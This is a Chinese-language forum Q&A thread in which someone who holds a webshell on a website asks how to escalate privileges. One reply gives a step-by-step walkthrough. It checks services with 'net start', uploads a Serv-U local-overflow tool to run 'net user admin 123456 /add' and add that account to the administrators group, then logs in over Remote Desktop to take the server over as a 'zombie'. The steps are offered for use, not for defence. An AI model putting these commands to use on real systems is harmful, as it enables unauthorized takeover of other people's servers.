我拿到webShells 了,但怎么能得到权限呢?有人教教我吗?我出500分...
发布网友
发布时间：2024-09-26 18:31
共2个回答
热心网友
时间：2024-09-29 19:39
利用webshell得到管理权限
在取得了网站的wehshell后应该如何提升权限，使我们得到整台服务器的管理权权限，控制整台服务器！
首先我们要进入shell找到可执行cmd命令的页面，执行net start命令，如果执行不成功，则说明些服务器没有cmd权限，如果执行成功，则会显示出此服务器所开启的服务。我们只要找到服务器开启了下面两个服务就可以了：
Serv-U FTP 服务器 这个开启了ftp服务 serv-u FTP服务可以本地溢出
Terminal Services 这个是开启了33服务
然后我们上传一个名为FTP.exe的serv-u FTP服务可以本地溢出工具，比如我们把工具传到了E盘，那么再在cmd命令处执行E:/ftp.exe "net user admin 123456 /add" 添加用户名为admin密码为123456的帐号，然后执行E:/ftp.exe "net localgroup administrators admin /add"添加admin用户为管理员，然后用33登录器登录
如果服务器只是开启了ftp服务，得到权限后我们可以上传一个33.exe开启33终端服务
这样你就得到一台33的肉鸡了。
热心网友
时间：2024-09-29 19:35
webShells 是什么意思？？？？？？？？？？？？？？？？？
